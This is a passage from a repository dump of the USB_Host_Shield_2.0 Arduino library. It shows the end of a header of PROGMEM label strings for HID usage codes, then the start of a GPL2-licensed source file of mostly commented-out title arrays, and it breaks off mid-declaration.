\"AL Logoff\";\nconst char pstrUsageALLogonLogoff [] PROGMEM = \"AL Logon/Logoff\";\nconst char pstrUsageALTermLockScrSav [] PROGMEM = \"AL Term Lock/Scr Sav\";\nconst char pstrUsageALControlPannel [] PROGMEM = \"AL Ctrl Pan\";\nconst char pstrUsageALCommandLineProcessorRun [] PROGMEM = \"AL Cmd/Run\";\nconst char pstrUsageALProcessTaskManager [] PROGMEM = \"AL Task Mgr\";\nconst char pstrUsageALSelectTaskApplication [] PROGMEM = \"AL Sel App\";\nconst char pstrUsageALNextTaskApplication [] PROGMEM = \"AL Next App\";\nconst char pstrUsageALPreviousTaskApplication [] PROGMEM = \"AL Prev App\";\nconst char pstrUsageALPreemptiveHaltTaskApp [] PROGMEM = \"AL Prmpt Halt App\";\nconst char pstrUsageALIntegratedHelpCenter [] PROGMEM = \"AL Hlp Cntr\";\nconst char pstrUsageALDocuments [] PROGMEM = \"AL Docs\";\nconst char pstrUsageALThesaurus [] PROGMEM = \"AL Thsrs\";\nconst char pstrUsageALDictionary [] PROGMEM = \"AL Dict\";\nconst char pstrUsageALDesktop [] PROGMEM = \"AL Desktop\";\nconst char pstrUsageALSpellCheck [] PROGMEM = \"AL Spell Chk\";\nconst char pstrUsageALGrammarCheck [] PROGMEM = \"AL Gram Chk\";\nconst char pstrUsageALWirelessStatus [] PROGMEM = \"AL Wireless Sts\";\nconst char pstrUsageALKeyboardLayout [] PROGMEM = \"AL Kbd Layout\";\nconst char pstrUsageALVirusProtection [] PROGMEM = \"AL Vir Protect\";\nconst char pstrUsageALEncryption [] PROGMEM = \"AL Encrypt\";\nconst char pstrUsageALScreenSaver [] PROGMEM = \"AL Scr Sav\";\nconst char pstrUsageALAlarms [] PROGMEM = \"AL Alarms\";\nconst char pstrUsageALClock [] PROGMEM = \"AL Clock\";\nconst char pstrUsageALFileBrowser [] PROGMEM = \"AL File Brow\";\nconst char pstrUsageALPowerStatus [] PROGMEM = \"AL Pwr Sts\";\nconst char pstrUsageALImageBrowser [] PROGMEM = \"AL Img Brow\";\nconst char pstrUsageALAudioBrowser [] PROGMEM = \"AL Aud Brow\";\nconst char pstrUsageALMovieBrowser [] PROGMEM = \"AL Mov Brow\";\nconst char pstrUsageALDigitalRightsManager [] PROGMEM = \"AL Dig Rights Mgr\";\nconst char pstrUsageALDigitalWallet [] PROGMEM = \"AL Dig Wallet\";\nconst char pstrUsageALInstantMessaging [] PROGMEM = \"AL Inst Msg\";\nconst char pstrUsageALOEMFeaturesBrowser [] PROGMEM = \"AL OEM Tips Brow\";\nconst char pstrUsageALOEMHelp [] PROGMEM = \"AL OEM Hlp\";\nconst char pstrUsageALOnlineCommunity [] PROGMEM = \"AL Online Com\";\nconst char pstrUsageALEntertainmentContentBrow [] PROGMEM = \"AL Ent Cont Brow\";\nconst char pstrUsageALOnlineShoppingBrowser [] PROGMEM = \"AL Online Shop Brow\";\nconst char pstrUsageALSmartCardInfoHelp [] PROGMEM = \"AL SmartCard Inf\";\nconst char pstrUsageALMarketMonitorFinBrowser [] PROGMEM = \"AL Market Brow\";\nconst char pstrUsageALCustomCorpNewsBrowser [] PROGMEM = \"AL Cust Corp News Brow\";\nconst char pstrUsageALOnlineActivityBrowser [] PROGMEM = \"AL Online Act Brow\";\nconst char pstrUsageALResearchSearchBrowser [] PROGMEM = \"AL Search Brow\";\nconst char pstrUsageALAudioPlayer [] PROGMEM = \"AL Aud Player\";\nconst char pstrUsageGenericGUIAppControls [] PROGMEM = \"Gen GUI App Ctrl\";\nconst char pstrUsageACNew [] PROGMEM = \"AC New\";\nconst char pstrUsageACOpen [] PROGMEM = \"AC Open\";\nconst char pstrUsageACClose [] PROGMEM = \"AC Close\";\nconst char pstrUsageACExit [] PROGMEM = \"AC Exit\";\nconst char pstrUsageACMaximize [] PROGMEM = \"AC Max\";\nconst char pstrUsageACMinimize [] PROGMEM = \"AC Min\";\nconst char pstrUsageACSave [] PROGMEM = \"AC Save\";\nconst char pstrUsageACPrint [] PROGMEM = \"AC Print\";\nconst char pstrUsageACProperties [] PROGMEM = \"AC Prop\";\nconst char pstrUsageACUndo [] PROGMEM = \"AC Undo\";\nconst char pstrUsageACCopy [] PROGMEM = \"AC Copy\";\nconst char pstrUsageACCut [] PROGMEM = \"AC Cut\";\nconst char pstrUsageACPaste [] PROGMEM = \"AC Paste\";\nconst char pstrUsageACSelectAll [] PROGMEM = \"AC Sel All\";\nconst char pstrUsageACFind [] PROGMEM = \"AC Find\";\nconst char pstrUsageACFindAndReplace [] PROGMEM = \"AC Find/Replace\";\nconst char pstrUsageACSearch [] PROGMEM = \"AC Search\";\nconst char pstrUsageACGoto [] PROGMEM = \"AC Goto\";\nconst char pstrUsageACHome [] PROGMEM = \"AC Home\";\nconst char pstrUsageACBack [] PROGMEM = \"AC Back\";\nconst char pstrUsageACForward [] PROGMEM = \"AC Fwd\";\nconst char pstrUsageACStop [] PROGMEM = \"AC Stop\";\nconst char pstrUsageACRefresh [] PROGMEM = \"AC Refresh\";\nconst char pstrUsageACPreviousLink [] PROGMEM = \"AC Prev Link\";\nconst char pstrUsageACNextLink [] PROGMEM = \"AC Next Link\";\nconst char pstrUsageACBookmarks [] PROGMEM = \"AC Bkmarks\";\nconst char pstrUsageACHistory [] PROGMEM = \"AC Hist\";\nconst char pstrUsageACSubscriptions [] PROGMEM = \"AC Subscr\";\nconst char pstrUsageACZoomIn [] PROGMEM = \"AC Zoom In\";\nconst char pstrUsageACZoomOut [] PROGMEM = \"AC Zoom Out\";\nconst char pstrUsageACZoom [] PROGMEM = \"AC Zoom\";\nconst char pstrUsageACFullScreenView [] PROGMEM = \"AC Full Scr\";\nconst char pstrUsageACNormalView [] PROGMEM = \"AC Norm View\";\nconst char pstrUsageACViewToggle [] PROGMEM = \"AC View Tgl\";\nconst char pstrUsageACScrollUp [] PROGMEM = \"AC Scroll Up\";\nconst char pstrUsageACScrollDown [] PROGMEM = \"AC Scroll Down\";\nconst char pstrUsageACScroll [] PROGMEM = \"AC Scroll\";\nconst char pstrUsageACPanLeft [] PROGMEM = \"AC Pan Left\";\nconst char pstrUsageACPanRight [] PROGMEM = \"AC Pan Right\";\nconst char pstrUsageACPan [] PROGMEM = \"AC Pan\";\nconst char pstrUsageACNewWindow [] PROGMEM = \"AC New Wnd\";\nconst char pstrUsageACTileHoriz [] PROGMEM = \"AC Tile Horiz\";\nconst char pstrUsageACTileVert [] PROGMEM = \"AC Tile Vert\";\nconst char pstrUsageACFormat [] PROGMEM = \"AC Frmt\";\nconst char pstrUsageACEdit [] PROGMEM = \"AC Edit\";\nconst char pstrUsageACBold [] PROGMEM = \"AC Bold\";\nconst char pstrUsageACItalics [] PROGMEM = \"AC Ital\";\nconst char pstrUsageACUnderline [] PROGMEM = \"AC Under\";\nconst char pstrUsageACStrikethrough [] PROGMEM = \"AC Strike\";\nconst char pstrUsageACSubscript [] PROGMEM = \"AC Sub\";\nconst char pstrUsageACSuperscript [] PROGMEM = \"AC Super\";\nconst char pstrUsageACAllCaps [] PROGMEM = \"AC All Caps\";\nconst char pstrUsageACRotate [] PROGMEM = \"AC Rotate\";\nconst char pstrUsageACResize [] PROGMEM = \"AC Resize\";\nconst char pstrUsageACFlipHorizontal [] PROGMEM = \"AC Flp H\";\nconst char pstrUsageACFlipVertical [] PROGMEM = \"AC Flp V\";\nconst char pstrUsageACMirrorHorizontal [] PROGMEM = \"AC Mir H\";\nconst char pstrUsageACMirrorVertical [] PROGMEM = \"AC Mir V\";\nconst char pstrUsageACFontSelect [] PROGMEM = \"AC Fnt Sel\";\nconst char pstrUsageACFontColor [] PROGMEM = \"AC Fnt Clr\";\nconst char pstrUsageACFontSize [] PROGMEM = \"AC Fnt Size\";\nconst char pstrUsageACJustifyLeft [] PROGMEM = \"AC Just Left\";\nconst char pstrUsageACJustifyCenterH [] PROGMEM = \"AC Just Cent H\";\nconst char pstrUsageACJustifyRight [] PROGMEM = \"AC Just Right\";\nconst char pstrUsageACJustifyBlockH [] PROGMEM = \"AC Just Block H\";\nconst char pstrUsageACJustifyTop [] PROGMEM = \"AC Just Top\";\nconst char pstrUsageACJustifyCenterV [] PROGMEM = \"AC Just Cent V\";\nconst char pstrUsageACJustifyBottom [] PROGMEM = \"AC Just Bot\";\nconst char pstrUsageACJustifyBlockV [] PROGMEM = \"AC Just Block V\";\nconst char pstrUsageACIndentDecrease [] PROGMEM = \"AC Indent Dec\";\nconst char pstrUsageACIndentIncrease [] PROGMEM = \"AC Indent Inc\";\nconst char pstrUsageACNumberedList [] PROGMEM = \"AC Num List\";\nconst char pstrUsageACRestartNumbering [] PROGMEM = \"AC Res Num\";\nconst char pstrUsageACBulletedList [] PROGMEM = \"AC Blt List\";\nconst char pstrUsageACPromote [] PROGMEM = \"AC Promote\";\nconst char pstrUsageACDemote [] PROGMEM = \"AC Demote\";\nconst char pstrUsageACYes [] PROGMEM = \"AC Yes\";\nconst char pstrUsageACNo [] PROGMEM = \"AC No\";\nconst char pstrUsageACCancel [] PROGMEM = \"AC Cancel\";\nconst char pstrUsageACCatalog [] PROGMEM = \"AC Ctlg\";\nconst char pstrUsageACBuyChkout [] PROGMEM = \"AC Buy\";\nconst char pstrUsageACAddToCart [] PROGMEM = \"AC Add2Cart\";\nconst char pstrUsageACExpand [] PROGMEM = \"AC Xpnd\";\nconst char pstrUsageACExpandAll [] PROGMEM = \"AC Xpand All\";\nconst char pstrUsageACCollapse [] PROGMEM = \"AC Collapse\";\nconst char pstrUsageACCollapseAll [] PROGMEM = \"AC Collapse All\";\nconst char pstrUsageACPrintPreview [] PROGMEM = \"AC Prn Prevw\";\nconst char pstrUsageACPasteSpecial [] PROGMEM = \"AC Paste Spec\";\nconst char pstrUsageACInsertMode [] PROGMEM = \"AC Ins Mode\";\nconst char pstrUsageACDelete [] PROGMEM = \"AC Del\";\nconst char pstrUsageACLock [] PROGMEM = \"AC Lock\";\nconst char pstrUsageACUnlock [] PROGMEM = \"AC Unlock\";\nconst char pstrUsageACProtect [] PROGMEM = \"AC Prot\";\nconst char pstrUsageACUnprotect [] PROGMEM = \"AC Unprot\";\nconst char pstrUsageACAttachComment [] PROGMEM = \"AC Attach Cmnt\";\nconst char pstrUsageACDeleteComment [] PROGMEM = \"AC Del Cmnt\";\nconst char pstrUsageACViewComment [] PROGMEM = \"AC View Cmnt\";\nconst char pstrUsageACSelectWord [] PROGMEM = \"AC Sel Word\";\nconst char pstrUsageACSelectSentence [] PROGMEM = \"AC Sel Sntc\";\nconst char pstrUsageACSelectParagraph [] PROGMEM = \"AC Sel Para\";\nconst char pstrUsageACSelectColumn [] PROGMEM = \"AC Sel Col\";\nconst char pstrUsageACSelectRow [] PROGMEM = \"AC Sel Row\";\nconst char pstrUsageACSelectTable [] PROGMEM = \"AC Sel Tbl\";\nconst char pstrUsageACSelectObject [] PROGMEM = \"AC Sel Obj\";\nconst char pstrUsageACRedoRepeat [] PROGMEM = \"AC Redo\";\nconst char pstrUsageACSort [] PROGMEM = \"AC Sort\";\nconst char pstrUsageACSortAscending [] PROGMEM = \"AC Sort Asc\";\nconst char pstrUsageACSortDescending [] PROGMEM = \"AC Sort Desc\";\nconst char pstrUsageACFilter [] PROGMEM = \"AC Filt\";\nconst char pstrUsageACSetClock [] PROGMEM = \"AC Set Clk\";\nconst char pstrUsageACViewClock [] PROGMEM = \"AC View Clk\";\nconst char pstrUsageACSelectTimeZone [] PROGMEM = \"AC Sel Time Z\";\nconst char pstrUsageACEditTimeZone [] PROGMEM = \"AC Edt Time Z\";\nconst char pstrUsageACSetAlarm [] PROGMEM = \"AC Set Alm\";\nconst char pstrUsageACClearAlarm [] PROGMEM = \"AC Clr Alm\";\nconst char pstrUsageACSnoozeAlarm [] PROGMEM = \"AC Snz Alm\";\nconst char pstrUsageACResetAlarm [] PROGMEM = \"AC Rst Alm\";\nconst char pstrUsageACSyncronize [] PROGMEM = \"AC Sync\";\nconst char pstrUsageACSendReceive [] PROGMEM = \"AC Snd/Rcv\";\nconst char pstrUsageACSendTo [] PROGMEM = \"AC Snd To\";\nconst char pstrUsageACReply [] PROGMEM = \"AC Reply\";\nconst char pstrUsageACReplyAll [] PROGMEM = \"AC Reply All\";\nconst char pstrUsageACForwardMessage [] PROGMEM = \"AC Fwd Msg\";\nconst char pstrUsageACSend [] PROGMEM = \"AC Snd\";\nconst char pstrUsageACAttachFile [] PROGMEM = \"AC Att File\";\nconst char pstrUsageACUpload [] PROGMEM = \"AC Upld\";\nconst char pstrUsageACDownload [] PROGMEM = \"AC Dnld\";\nconst char pstrUsageACSetBorders [] PROGMEM = \"AC Set Brd\";\nconst char pstrUsageACInsertRow [] PROGMEM = \"AC Ins Row\";\nconst char pstrUsageACInsertColumn [] PROGMEM = \"AC Ins Col\";\nconst char pstrUsageACInsertFile [] PROGMEM = \"AC Ins File\";\nconst char pstrUsageACInsertPicture [] PROGMEM = \"AC Ins Pic\";\nconst char pstrUsageACInsertObject [] PROGMEM = \"AC Ins Obj\";\nconst char pstrUsageACInsertSymbol [] PROGMEM = \"AC Ins Sym\";\nconst char pstrUsageACSaveAndClose [] PROGMEM = \"AC Sav&Cls\";\nconst char pstrUsageACRename [] PROGMEM = \"AC Rename\";\nconst char pstrUsageACMerge [] PROGMEM = \"AC Merge\";\nconst char pstrUsageACSplit [] PROGMEM = \"AC Split\";\nconst char pstrUsageACDistributeHorizontaly [] PROGMEM = \"AC Dist Hor\";\nconst char pstrUsageACDistributeVerticaly [] PROGMEM = \"AC Dist Ver\";\n\n// Digitaizers\nconst char pstrUsageDigitizer [] PROGMEM = \"Digitizer\";\nconst char pstrUsagePen [] PROGMEM = \"Pen\";\nconst char pstrUsageLightPen [] PROGMEM = \"Light Pen\";\nconst char pstrUsageTouchScreen [] PROGMEM = \"Touch Scr\";\nconst char pstrUsageTouchPad [] PROGMEM = \"Touch Pad\";\nconst char pstrUsageWhiteBoard [] PROGMEM = \"White Brd\";\nconst char pstrUsageCoordinateMeasuringMachine [] PROGMEM = \"Coord Meas Mach\";\nconst char pstrUsage3DDigitizer [] PROGMEM = \"3D Dgtz\";\nconst char pstrUsageStereoPlotter [] PROGMEM = \"Stereo Plot\";\nconst char pstrUsageArticulatedArm [] PROGMEM = \"Art Arm\";\nconst char pstrUsageArmature [] PROGMEM = \"Armature\";\nconst char pstrUsageMultiplePointDigitizer [] PROGMEM = \"Multi Point Dgtz\";\nconst char pstrUsageFreeSpaceWand [] PROGMEM = \"Free Space Wand\";\nconst char pstrUsageStylus [] PROGMEM = \"Stylus\";\nconst char pstrUsagePuck [] PROGMEM = \"Puck\";\nconst char pstrUsageFinger [] PROGMEM = \"Finger\";\nconst char pstrUsageTipPressure [] PROGMEM = \"Tip Press\";\nconst char pstrUsageBarrelPressure [] PROGMEM = \"Brl Press\";\nconst char pstrUsageInRange [] PROGMEM = \"In Range\";\nconst char pstrUsageTouch [] PROGMEM = \"Touch\";\nconst char pstrUsageUntouch [] PROGMEM = \"Untouch\";\nconst char pstrUsageTap [] PROGMEM = \"Tap\";\nconst char pstrUsageQuality [] PROGMEM = \"Qlty\";\nconst char pstrUsageDataValid [] PROGMEM = \"Data Valid\";\nconst char pstrUsageTransducerIndex [] PROGMEM = \"Transducer Ind\";\nconst char pstrUsageTabletFunctionKeys [] PROGMEM = \"Tabl Func Keys\";\nconst char pstrUsageProgramChangeKeys [] PROGMEM = \"Pgm Chng Keys\";\n//const char pstrUsageBatteryStrength [] PROGMEM = \"Bat Strength\";\nconst char pstrUsageInvert [] PROGMEM = \"Invert\";\nconst char pstrUsageXTilt [] PROGMEM = \"X Tilt\";\nconst char pstrUsageYTilt [] PROGMEM = \"Y Tilt\";\nconst char pstrUsageAzimuth [] PROGMEM = \"Azimuth\";\nconst char pstrUsageAltitude [] PROGMEM = \"Altitude\";\nconst char pstrUsageTwist [] PROGMEM = \"Twist\";\nconst char pstrUsageTipSwitch [] PROGMEM = \"Tip Sw\";\nconst char pstrUsageSecondaryTipSwitch [] PROGMEM = \"Scnd Tip Sw\";\nconst char pstrUsageBarrelSwitch [] PROGMEM = \"Brl Sw\";\nconst char pstrUsageEraser [] PROGMEM = \"Eraser\";\nconst char pstrUsageTabletPick [] PROGMEM = \"Tbl Pick\";\n\n// Alphanumeric Display Page\nconst char pstrUsageAlphanumericDisplay [] PROGMEM = \"Alphanum Disp\";\nconst char pstrUsageBitmappedDisplay [] PROGMEM = \"Bmp Disp\";\nconst char pstrUsageDisplayAttributesReport [] PROGMEM = \"Disp Attr Rpt\";\nconst char pstrUsageASCIICharacterSet [] PROGMEM = \"ASCII chset\";\nconst char pstrUsageDataReadBack [] PROGMEM = \"Data Rd Back\";\nconst char pstrUsageFontReadBack [] PROGMEM = \"Fnt Rd Back\";\nconst char pstrUsageDisplayControlReport [] PROGMEM = \"Disp Ctrl Rpt\";\nconst char pstrUsageClearDisplay [] PROGMEM = \"Clr Disp\";\n//const char pstrUsageDisplayEnable [] PROGMEM = \"Disp Enbl\";\nconst char pstrUsageScreenSaverDelay [] PROGMEM = \"Scr Sav Delay\";\nconst char pstrUsageScreenSaverEnable [] PROGMEM = \"Scr Sav Enbl\";\nconst char pstrUsageVerticalScroll [] PROGMEM = \"V Scroll\";\nconst char pstrUsageHorizontalScroll [] PROGMEM = \"H Scroll\";\nconst char pstrUsageCharacterReport [] PROGMEM = \"Char Rpt\";\nconst char pstrUsageDisplayData [] PROGMEM = \"Disp Data\";\nconst char pstrUsageDisplayStatus [] PROGMEM = \"Disp Stat\";\nconst char pstrUsageStatusNotReady [] PROGMEM = \"Stat !Ready\";\nconst char pstrUsageStatusReady [] PROGMEM = \"Stat Ready\";\nconst char pstrUsageErrorNotALoadableCharacter [] PROGMEM = \"Err Not Ld Char\";\nconst char pstrUsageErrorFotDataCanNotBeRead [] PROGMEM = \"Fnt Data Rd Err\";\nconst char pstrUsageCursorPositionReport [] PROGMEM = \"Cur Pos Rpt\";\nconst char pstrUsageRow [] PROGMEM = \"Row\";\nconst char pstrUsageColumn [] PROGMEM = \"Col\";\nconst char pstrUsageRows [] PROGMEM = \"Rows\";\nconst char pstrUsageColumns [] PROGMEM = \"Cols\";\nconst char pstrUsageCursorPixelPosition [] PROGMEM = \"Cur Pix Pos\";\nconst char pstrUsageCursorMode [] PROGMEM = \"Cur Mode\";\nconst char pstrUsageCursorEnable [] PROGMEM = \"Cur Enbl\";\nconst char pstrUsageCursorBlink [] PROGMEM = \"Cur Blnk\";\nconst char pstrUsageFontReport [] PROGMEM = \"Fnt Rpt\";\nconst char pstrUsageFontData [] PROGMEM = \"Fnt Data\";\nconst char pstrUsageCharacterWidth [] PROGMEM = \"Char Wdth\";\nconst char pstrUsageCharacterHeight [] PROGMEM = \"Char Hght\";\nconst char pstrUsageCharacterSpacingHorizontal [] PROGMEM = \"Char Space H\";\nconst char pstrUsageCharacterSpacingVertical [] PROGMEM = \"Char Space V\";\nconst char pstrUsageUnicodeCharset [] PROGMEM = \"Unicode Char\";\nconst char pstrUsageFont7Segment [] PROGMEM = \"Fnt 7-seg\";\nconst char pstrUsage7SegmentDirectMap [] PROGMEM = \"7-seg map\";\nconst char pstrUsageFont14Segment [] PROGMEM = \"Fnt 14-seg\";\nconst char pstrUsage14SegmentDirectMap [] PROGMEM = \"14-seg map\";\nconst char pstrUsageDisplayBrightness [] PROGMEM = \"Disp Bright\";\nconst char pstrUsageDisplayContrast [] PROGMEM = \"Disp Cntrst\";\nconst char pstrUsageCharacterAttribute [] PROGMEM = \"Char Attr\";\nconst char pstrUsageAttributeReadback [] PROGMEM = \"Attr Readbk\";\nconst char pstrUsageAttributeData [] PROGMEM = \"Attr Data\";\nconst char pstrUsageCharAttributeEnhance [] PROGMEM = \"Char Attr Enh\";\nconst char pstrUsageCharAttributeUnderline [] PROGMEM = \"Char Attr Undl\";\nconst char pstrUsageCharAttributeBlink [] PROGMEM = \"Char Attr Blnk\";\nconst char pstrUsageBitmapSizeX [] PROGMEM = \"Bmp Size X\";\nconst char pstrUsageBitmapSizeY [] PROGMEM = \"Bmp Size Y\";\nconst char pstrUsageBitDepthFormat [] PROGMEM = \"Bit Dpth Fmt\";\nconst char pstrUsageDisplayOrientation [] PROGMEM = \"Disp Ornt\";\nconst char pstrUsagePaletteReport [] PROGMEM = \"Pal Rpt\";\nconst char pstrUsagePaletteDataSize [] PROGMEM = \"Pal Data Size\";\nconst char pstrUsagePaletteDataOffset [] PROGMEM = \"Pal Data Off\";\nconst char pstrUsagePaletteData [] PROGMEM = \"Pal Data\";\nconst char pstrUsageBlitReport [] PROGMEM = \"Blit Rpt\";\nconst char pstrUsageBlitRectangleX1 [] PROGMEM = \"Blit Rect X1\";\nconst char pstrUsageBlitRectangleY1 [] PROGMEM = \"Blit Rect Y1\";\nconst char pstrUsageBlitRectangleX2 [] PROGMEM = \"Blit Rect X2\";\nconst char pstrUsageBlitRectangleY2 [] PROGMEM = \"Blit Rect Y2\";\nconst char pstrUsageBlitData [] PROGMEM = \"Blit Data\";\nconst char pstrUsageSoftButton [] PROGMEM = \"Soft Btn\";\nconst char pstrUsageSoftButtonID [] PROGMEM = \"Soft Btn ID\";\nconst char pstrUsageSoftButtonSide [] PROGMEM = \"Soft Btn Side\";\nconst char pstrUsageSoftButtonOffset1 [] PROGMEM = \"Soft Btn Off1\";\nconst char pstrUsageSoftButtonOffset2 [] PROGMEM = \"Soft Btn Off2\";\nconst char pstrUsageSoftButtonReport [] PROGMEM = \"Soft Btn Rpt\";\n\n// Medical Instrument Page\nconst char pstrUsageMedicalUltrasound [] PROGMEM = \"Med Ultrasnd\";\nconst char pstrUsageVCRAcquisition [] PROGMEM = \"VCR/Acq\";\nconst char pstrUsageFreezeThaw [] PROGMEM = \"Freeze\";\nconst char pstrUsageClipStore [] PROGMEM = \"Clip Store\";\nconst char pstrUsageUpdate [] PROGMEM = \"Update\";\nconst char pstrUsageNext [] PROGMEM = \"Next\";\nconst char pstrUsageSave [] PROGMEM = \"Save\";\nconst char pstrUsagePrint [] PROGMEM = \"Print\";\nconst char pstrUsageMicrophoneEnable [] PROGMEM = \"Mic Enbl\";\nconst char pstrUsageCine [] PROGMEM = \"Cine\";\nconst char pstrUsageTransmitPower [] PROGMEM = \"Trans Pwr\";\n//const char pstrUsageVolume [] PROGMEM = \"Vol\";\nconst char pstrUsageFocus [] PROGMEM = \"Focus\";\nconst char pstrUsageDepth [] PROGMEM = \"Depth\";\nconst char pstrUsageSoftStepPrimary [] PROGMEM = \"Soft Stp-Pri\";\nconst char pstrUsageSoftStepSecondary [] PROGMEM = \"Soft Stp-Sec\";\nconst char pstrUsageDepthGainCompensation [] PROGMEM = \"Dpth Gain Comp\";\nconst char pstrUsageZoomSelect [] PROGMEM = \"Zoom Sel\";\nconst char pstrUsageZoomAdjust [] PROGMEM = \"Zoom Adj\";\nconst char pstrUsageSpectralDopplerModeSelect [] PROGMEM = \"Spec Dop Mode Sel\";\nconst char pstrUsageSpectralDopplerModeAdjust [] PROGMEM = \"Spec Dop Mode Adj\";\nconst char pstrUsageColorDopplerModeSelect [] PROGMEM = \"Color Dop Mode Sel\";\nconst char pstrUsageColorDopplerModeAdjust [] PROGMEM = \"Color Dop Mode Adj\";\nconst char pstrUsageMotionModeSelect [] PROGMEM = \"Motion Mode Sel\";\nconst char pstrUsageMotionModeAdjust [] PROGMEM = \"Motion Mode Adj\";\nconst char pstrUsage2DModeSelect [] PROGMEM = \"2D Mode Sel\";\nconst char pstrUsage2DModeAdjust [] PROGMEM = \"2D Mode Adj\";\nconst char pstrUsageSoftControlSelect [] PROGMEM = \"Soft Ctrl Sel\";\nconst char pstrUsageSoftControlAdjust [] PROGMEM = \"Soft Ctrl Adj\";\n\n//extern const char *usagePageTitles0[15];\n//const char *usagePageTitles1[];\n//const char *genDesktopTitles0[];\n//const char *genDesktopTitles1[];\n//const char *genDesktopTitles2[];\n//const char *genDesktopTitles3[];\n//const char *genDesktopTitles4[];\n//const char *simuTitles0[];\n//const char *simuTitles1[];\n//const char *simuTitles2[];\n//const char *vrTitles0[];\n//const char *vrTitles1[];\n//const char *sportsCtrlTitles0[];\n//const char *sportsCtrlTitles1[];\n//const char *sportsCtrlTitles2[];\n//const char *gameTitles0[];\n//const char *gameTitles1[];\n//const char *genDevCtrlTitles[];\n//const char *ledTitles[];\n//const char *telTitles0[];\n//const char *telTitles1[];\n//const char *telTitles2[];\n//const char *telTitles3[];\n//const char *telTitles4[];\n//const char *telTitles5[];\n//const char *consTitles0[];\n//const char *consTitles1[];\n//const char *consTitles2[];\n//const char *consTitles3[];\n//const char *consTitles4[];\n//const char *consTitles5[];\n//const char *consTitles6[];\n//const char *consTitles7[];\n//const char *consTitles8[];\n//const char *consTitles9[];\n//const char *consTitlesA[];\n//const char *consTitlesB[];\n//const char *consTitlesC[];\n//const char *consTitlesD[];\n//const char *consTitlesE[];\n//const char *digitTitles0[];\n//const char *digitTitles1[];\n//const char *digitTitles2[];\n//const char *aplphanumTitles0[];\n//const char *aplphanumTitles1[];\n//const char *aplphanumTitles2[];\n//const char *medInstrTitles0[];\n//const char *medInstrTitles1[];\n//const char *medInstrTitles2[];\n//const char *medInstrTitles3[];\n//const char *medInstrTitles4[];\n\n#endif //__HIDUSAGESTR_H__\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/hidusagetitlearrays.cpp",
    "content": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under the terms of the GNU\nGeneral Public License version 2 (GPL2) as published by the Free Software\nFoundation and appearing in the file GPL2.TXT included in the packaging of\nthis file. Please note that GPL2 Section 2[b] requires that all works based\non this software must also be made publicly available under the terms of\nthe GPL2 (\"Copyleft\").\n\nContact information\n-------------------\n\nCircuits At Home, LTD\nWeb      :  http://www.circuitsathome.com\ne-mail   :  support@circuitsathome.com\n */\n#if !defined(__HIDUSAGETITLEARRAYS_H__)\n#define __HIDUSAGETITLEARRAYS_H__\n\n#include \"hidusagestr.h\"\n\n// This is here why?\n\n//const char *usagePageTitles0[]\tPROGMEM =\n//{\n//\tpstrUsagePageGenericDesktopControls\t,\n//\tpstrUsagePageSimulationControls\t\t,\n//\tpstrUsagePageVRControls\t\t\t\t,\n//\tpstrUsagePageSportControls\t\t\t,\n//\tpstrUsagePageGameControls\t\t\t,\n//\tpstrUsagePageGenericDeviceControls\t,\n//\tpstrUsagePageKeyboardKeypad\t\t\t,\n//\tpstrUsagePageLEDs\t\t\t\t\t,\n//\tpstrUsagePageButton\t\t\t\t\t,\n//\tpstrUsagePageOrdinal\t\t\t\t,\n//\tpstrUsagePageTelephone\t\t\t\t,\n//\tpstrUsagePageConsumer\t\t\t\t,\n//\tpstrUsagePageDigitizer\t\t\t\t,\n//\tpstrUsagePagePID\t\t\t\t\t,\n//\tpstrUsagePageUnicode\n//};\n//\n//const char *usagePageTitles1[]\tPROGMEM =\n//{\n//\tpstrUsagePageBarCodeScanner\t\t\t,\n//\tpstrUsagePageScale\t\t\t\t\t,\n//\tpstrUsagePageMSRDevices\t\t\t\t,\n//\tpstrUsagePagePointOfSale\t\t\t,\n//\tpstrUsagePageCameraControl\t\t\t,\n//\tpstrUsagePageArcade\n//};\n//const char *genDesktopTitles0[] PROGMEM =\n//{\n//\tpstrUsagePointer\t\t\t\t\t,\n//\tpstrUsageMouse\t\t\t\t\t\t,\n//\tpstrUsageJoystick\t\t\t\t\t,\n//\tpstrUsageGamePad\t\t\t\t\t,\n//\tpstrUsageKeyboard\t\t\t\t\t,\n//\tpstrUsageKeypad\t\t\t\t\t\t,\n//\tpstrUsageMultiAxisController\t\t,\n//\tpstrUsageTabletPCSystemControls\n//\n//};\n//const char *genDesktopTitles1[] PROGMEM =\n//{\n//\tpstrUsageX\t\t\t\t\t\t\t,\n//\tpstrUsageY\t\t\t\t\t\t\t,\n//\tpstrUsageZ\t\t\t\t\t\t\t,\n//\tpstrUsageRx\t\t\t\t\t\t\t,\n//\tpstrUsageRy\t\t\t\t\t\t\t,\n//\tpstrUsageRz\t\t\t\t\t\t\t,\n//\tpstrUsageSlider\t\t\t\t\t\t,\n//\tpstrUsageDial\t\t\t\t\t\t,\n//\tpstrUsageWheel\t\t\t\t\t\t,\n//\tpstrUsageHatSwitch\t\t\t\t\t,\n//\tpstrUsageCountedBuffer\t\t\t\t,\n//\tpstrUsageByteCount\t\t\t\t\t,\n//\tpstrUsageMotionWakeup\t\t\t\t,\n//\tpstrUsageStart\t\t\t\t\t\t,\n//\tpstrUsageSelect\t\t\t\t\t\t,\n//\tpstrUsagePageReserved\t\t\t\t,\n//\tpstrUsageVx\t\t\t\t\t\t\t,\n//\tpstrUsageVy\t\t\t\t\t\t\t,\n//\tpstrUsageVz\t\t\t\t\t\t\t,\n//\tpstrUsageVbrx\t\t\t\t\t\t,\n//\tpstrUsageVbry\t\t\t\t\t\t,\n//\tpstrUsageVbrz\t\t\t\t\t\t,\n//\tpstrUsageVno\t\t\t\t\t\t,\n//\tpstrUsageFeatureNotification\t\t,\n//\tpstrUsageResolutionMultiplier\n//};\n//const char *genDesktopTitles2[] PROGMEM 